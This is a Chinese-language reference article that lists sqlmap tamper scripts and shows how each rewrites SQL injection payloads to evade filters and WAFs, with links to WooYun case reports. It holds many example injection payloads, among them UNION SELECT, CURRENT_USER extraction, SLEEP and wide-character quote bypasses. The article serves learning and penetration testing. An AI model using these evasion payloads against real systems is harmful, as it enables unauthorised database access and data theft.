0x00 背景

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sqlmap中的tamper指令碼來對目標進行更高效的攻擊。

由於烏雲知識庫少了sqlmap-tamper 收集一下，方便學習。 根據sqlmap中的tamper指令碼可以學習過繞過一些技巧。 我收集在找相關的案例作為可分析什麼環境使用什麼tamper指令碼。 小學生畢業的我，著能偷偷說一下多做一些收集對吸收知識很快。

0x01 start

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指令碼名：apostrophemask.py

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作用：用utf8代替引號

#!sql
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

指令碼名：equaltolike.py

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作用：like 代替等號

#!sql
Example:

*   Input: SELECT * FROM users WHERE id=1

*   Output: SELECT * FROM users WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三：http://wooyun.org/bugs/wooyun-2010-072489

指令碼名：space2dash.py

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作用：繞過過濾‘=’ 替換空格字元（”），（’ – ‘）後跟一個破折號註釋，一個隨機字串和一個新行（’ n’）

#!sql
Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一：http://wooyun.org/bugs/wooyun-2010-062878

指令碼名：greatest.py

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作用：繞過過濾’>’ ,用GREATEST替換大於號。

#!sql
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 

指令碼名：space2hash.py

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作用：空格替換為#號 隨機字串 以及換行符

#!sql
Example:

*   Input: 1 AND 9227=9227
*   Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

• MySQL Tested against:

• MySQL 4.0, 5.0

參考:法克的一篇文章

指令碼名：apostrophenullencode.py

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作用：繞過過濾雙引號，替換字元和雙引號。

#!sql
Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'

Tested against:

• MySQL 4, 5.0 and 5.5

• Oracle 10g

• PostgreSQL 8.3, 8.4, 9.0

指令碼名：halfversionedmorekeywords.py

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作用：當資料庫為mysql時繞過防火牆，每個關鍵字之前新增mysql版本評論

#!sql
Example:

("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

• MySQL < 5.1

Tested against:

• MySQL 4.0.18, 5.0.22

指令碼名：space2morehash.py

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作用：空格替換為 #號 以及更多隨機字串 換行符

#!sql
Example: 

* Input: 1 AND 9227=9227 

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227 

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

指令碼名：appendnullbyte.py

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作用：在有效負荷結束位置載入零位元組字元編碼

#!sql
Example: ('1 AND 1=1') '1 AND 1=1%00' 

Requirement:

• Microsoft Access

指令碼名：ifnull2ifisnull.py

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作用：繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

#!sql
Example:

('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' 

Requirement:

• MySQL

• SQLite (possibly)

• SAP MaxDB (possibly)

Tested against:

• MySQL 5.0 and 5.5

指令碼名：space2mssqlblank.py(mssql)

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作用：空格替換為其它空符號

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

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案例一: wooyun.org/bugs/wooyun-2010-062878

指令碼名：base64encode.py

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作用：用base64編碼替換 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

指令碼名：space2mssqlhash.py

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作用：替換空格

#!sql
Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL 

指令碼名：modsecurityversioned.py

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作用：過濾空格，包含完整的查詢版本註釋

#!sql
Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--' 

Requirement: * MySQL

Tested against:

• MySQL 5.0

指令碼名：space2mysqlblank.py

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作用：空格替換其它空白符號(mysql)

#!sql
Example: 

* Input: SELECT id FROM users 

* Output: SELECT%0Bid%0BFROM%A0users 

Requirement:

• MySQL

Tested against:

• MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

指令碼名：between.py

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作用：用between替換大於號（>）

#!sql
Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' 

Tested against:

• Microsoft SQL Server 2005

• MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

指令碼名：space2mysqldash.py

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作用：替換空格字元（”）（’ – ‘）後跟一個破折號註釋一個新行（’ n’）

注：之前有個mssql的 這個是mysql的

#!sql
Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'

Requirement:

• MySQL

• MSSQL

指令碼名：multiplespaces.py

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作用：圍繞SQL關鍵字新增多個空格

#!sql
Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar' 

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

指令碼名：space2plus.py

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作用：用+替換空格

#!sql
Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all 

指令碼名：bluecoat.py

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作用：代替空格字元後與一個有效的隨機空白字元的SQL語句。 然後替換=為like

#!sql
Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1' 

Tested against:

• MySQL 5.1, SGOS

指令碼名：nonrecursivereplacement.py

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雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters

#!sql
Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all 

指令碼名：space2randomblank.py

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作用：代替空格字元（“”）從一個隨機的空白字元可選字元的有效集

#!sql
Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

指令碼名：sp_password.py

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作用：追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

#!sql
Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL 

指令碼名：chardoubleencode.py

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作用: 雙url編碼(不處理以編碼的)

#!sql
Example: 

* Input: SELECT FIELD FROM%20TABLE 

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

指令碼名：unionalltounion.py

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作用：替換UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

指令碼名：charencode.py

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作用：url編碼

#!sql
Example:

*   Input: SELECT FIELD FROM%20TABLE

*   Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

• Microsoft SQL Server 2005

• MySQL 4, 5.0 and 5.5

• Oracle 10g

• PostgreSQL 8.3, 8.4, 9.0

指令碼名：randomcase.py

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作用：隨機大小寫 Example:

• Input: INSERT
• Output: InsERt

Tested against:

• Microsoft SQL Server 2005

• MySQL 4, 5.0 and 5.5

• Oracle 10g

• PostgreSQL 8.3, 8.4, 9.0

指令碼名：unmagicquotes.py

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作用：寬字元繞過 GPC addslashes

#!sql
Example: 

* Input: 1′ AND 1=1 

* Output: 1%bf%27 AND 1=1–%20

指令碼名：randomcomments.py

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作用：用/**/分割sql關鍵字

#!sql
Example:

‘INSERT’ becomes ‘IN//S//ERT’

指令碼名：charunicodeencode.py

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作用：字串 unicode 編碼

#!sql
Example: 

* Input: SELECT FIELD%20FROM TABLE 

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

• ASP

• ASP.NET

Tested against:

• Microsoft SQL Server 2000

• Microsoft SQL Server 2005

• MySQL 5.1.56

• PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

指令碼名：securesphere.py

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作用：追加特製的字串

#!sql
Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" 

Tested against: all

指令碼名：versionedmorekeywords.py

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作用：註釋繞過

#!sql
Example: 

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 

* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# 

Requirement:

• MySQL >= 5.1.13

指令碼名：space2comment.py

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作用：Replaces space character (‘ ‘) with comments ‘/**/’

#!sql
Example: 

* Input: SELECT id FROM users 

* Output: SELECT//id//FROM/**/users

Tested against:

• Microsoft SQL Server 2005

• MySQL 4, 5.0 and 5.5

• Oracle 10g

• PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

指令碼名：halfversionedmorekeywords.py

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作用：關鍵字前加註釋

#!sql
Example: 

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa 

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

Requirement:

• MySQL < 5.1

Tested against:

• MySQL 4.0.18, 5.0.22

收集於: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html